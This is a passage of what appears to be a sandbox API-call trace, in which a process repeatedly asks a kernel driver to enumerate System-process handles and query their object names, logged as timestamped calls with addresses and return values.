lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.895] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.895] PsAcquireProcessExitSynchronization () returned 0x0 [0102.895] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.895] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800213ef20, HandleInformation=0x0) returned 0x0 [0102.896] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.896] PsReleaseProcessExitSynchronization () returned 0x2 [0102.896] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.896] ObQueryNameString (in: Object=0xfffffa800213ef20, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.896] ObfDereferenceObject (Object=0xfffffa800213ef20) returned 0x2 [0102.896] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.896] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.896] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.896] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.896] PsAcquireProcessExitSynchronization () returned 0x0 [0102.896] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.896] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002132a20, HandleInformation=0x0) returned 0x0 [0102.896] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.896] PsReleaseProcessExitSynchronization () returned 0x2 [0102.896] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.896] ObQueryNameString (in: Object=0xfffffa8002132a20, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.896] ObfDereferenceObject (Object=0xfffffa8002132a20) returned 0x2 [0102.896] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.896] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.896] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.896] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.896] PsAcquireProcessExitSynchronization () returned 0x0 [0102.896] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.896] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003521710, HandleInformation=0x0) returned 0x0 [0102.896] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.896] PsReleaseProcessExitSynchronization () returned 0x2 [0102.896] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.896] ObQueryNameString (in: Object=0xfffffa8003521710, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.897] ObfDereferenceObject (Object=0xfffffa8003521710) returned 0x2 [0102.897] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.897] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.897] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.897] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.897] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.897] PsAcquireProcessExitSynchronization () returned 0x0 [0102.897] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.897] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800213b2f0, HandleInformation=0x0) returned 0x0 [0102.897] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.897] PsReleaseProcessExitSynchronization () returned 0x2 [0102.897] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.897] ObQueryNameString (in: Object=0xfffffa800213b2f0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.897] ObfDereferenceObject (Object=0xfffffa800213b2f0) returned 0x2 [0102.897] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.897] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.897] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.897] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.897] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.897] PsAcquireProcessExitSynchronization () returned 0x0 [0102.897] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.897] ObReferenceObjectByHandle (in: Handle=0xffffffff800006fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002133af0, HandleInformation=0x0) returned 0x0 [0102.897] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.897] PsReleaseProcessExitSynchronization () returned 0x2 [0102.897] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.897] ObQueryNameString (in: Object=0xfffffa8002133af0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.897] ObfDereferenceObject (Object=0xfffffa8002133af0) returned 0x2 [0102.897] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.898] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.898] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.898] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.898] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.898] PsAcquireProcessExitSynchronization () returned 0x0 [0102.898] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.898] ObReferenceObjectByHandle (in: Handle=0xffffffff80000708, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800213bd20, HandleInformation=0x0) returned 0x0 [0102.898] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.898] PsReleaseProcessExitSynchronization () returned 0x2 [0102.898] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.898] ObQueryNameString (in: Object=0xfffffa800213bd20, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.898] ObfDereferenceObject (Object=0xfffffa800213bd20) returned 0x2 [0102.898] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.898] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.898] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.898] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.898] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.898] PsAcquireProcessExitSynchronization () returned 0x0 [0102.898] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.898] ObReferenceObjectByHandle (in: Handle=0xffffffff8000070c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002133350, HandleInformation=0x0) returned 0x0 [0102.898] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.898] PsReleaseProcessExitSynchronization () returned 0x2 [0102.898] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.899] ObQueryNameString (in: Object=0xfffffa8002133350, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.899] ObfDereferenceObject (Object=0xfffffa8002133350) returned 0x2 [0102.899] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.899] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.899] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.899] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.899] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.899] PsAcquireProcessExitSynchronization () returned 0x0 [0102.899] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.899] ObReferenceObjectByHandle (in: Handle=0xffffffff80000714, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002c4a2b0, HandleInformation=0x0) returned 0x0 [0102.899] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.899] PsReleaseProcessExitSynchronization () returned 0x2 [0102.899] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.899] ObQueryNameString (in: Object=0xfffffa8002c4a2b0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.899] ObfDereferenceObject (Object=0xfffffa8002c4a2b0) returned 0x2 [0102.899] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.899] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.899] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.899] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.899] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.899] PsAcquireProcessExitSynchronization () returned 0x0 [0102.899] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.899] ObReferenceObjectByHandle (in: Handle=0xffffffff80000718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002139d20, HandleInformation=0x0) returned 0x0 [0102.899] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.899] PsReleaseProcessExitSynchronization () returned 0x2 [0102.899] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.900] ObQueryNameString (in: Object=0xfffffa8002139d20, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.900] ObfDereferenceObject (Object=0xfffffa8002139d20) returned 0x2 [0102.900] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.900] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.900] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.900] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.900] PsAcquireProcessExitSynchronization () returned 0x0 [0102.900] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.900] ObReferenceObjectByHandle (in: Handle=0xffffffff80000724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002066a30, HandleInformation=0x0) returned 0x0 [0102.900] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.900] PsReleaseProcessExitSynchronization () returned 0x2 [0102.900] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.900] ObQueryNameString (in: Object=0xfffffa8002066a30, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.900] ObfDereferenceObject (Object=0xfffffa8002066a30) returned 0x2 [0102.900] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.900] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.900] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.900] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.900] PsAcquireProcessExitSynchronization () returned 0x0 [0102.900] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.900] ObReferenceObjectByHandle (in: Handle=0xffffffff80000728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800312cf20, HandleInformation=0x0) returned 0x0 [0102.900] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.900] PsReleaseProcessExitSynchronization () returned 0x2 [0102.900] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.900] ObQueryNameString (in: Object=0xfffffa800312cf20, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.900] ObfDereferenceObject (Object=0xfffffa800312cf20) returned 0x2 [0102.900] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.900] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.900] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.900] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.900] PsAcquireProcessExitSynchronization () returned 0x0 [0102.901] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.901] ObReferenceObjectByHandle (in: Handle=0xffffffff80000730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800390c050, HandleInformation=0x0) returned 0x0 [0102.901] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.901] PsReleaseProcessExitSynchronization () returned 0x2 [0102.901] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.901] ObQueryNameString (in: Object=0xfffffa800390c050, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.901] ObfDereferenceObject (Object=0xfffffa800390c050) returned 0x2 [0102.901] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.901] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.901] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.901] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.901] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.901] PsAcquireProcessExitSynchronization () returned 0x0 [0102.901] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.901] ObReferenceObjectByHandle (in: Handle=0xffffffff80000734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80022f8860, HandleInformation=0x0) returned 0x0 [0102.901] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.901] PsReleaseProcessExitSynchronization () returned 0x2 [0102.901] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.901] ObQueryNameString (in: Object=0xfffffa80022f8860, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.901] ObfDereferenceObject (Object=0xfffffa80022f8860) returned 0x2 [0102.901] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.901] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.901] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.901] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.901] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.901] PsAcquireProcessExitSynchronization () returned 0x0 [0102.901] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.901] ObReferenceObjectByHandle (in: Handle=0xffffffff8000073c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80033fab60, HandleInformation=0x0) returned 0x0 [0102.901] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.901] PsReleaseProcessExitSynchronization () returned 0x2 [0102.901] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.901] ObQueryNameString (in: Object=0xfffffa80033fab60, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.902] ObfDereferenceObject (Object=0xfffffa80033fab60) returned 0x2 [0102.902] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.902] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.902] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.902] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.902] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.902] PsAcquireProcessExitSynchronization () returned 0x0 [0102.902] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.902] ObReferenceObjectByHandle (in: Handle=0xffffffff80000740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80025243b0, HandleInformation=0x0) returned 0x0 [0102.902] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.902] PsReleaseProcessExitSynchronization () returned 0x2 [0102.902] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.902] ObQueryNameString (in: Object=0xfffffa80025243b0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.902] ObfDereferenceObject (Object=0xfffffa80025243b0) returned 0x2 [0102.902] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.902] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.902] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.902] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.902] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.902] PsAcquireProcessExitSynchronization () returned 0x0 [0102.902] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.902] ObReferenceObjectByHandle (in: Handle=0xffffffff8000074c, DesiredAccess=0x0, ObjectType=0x0, 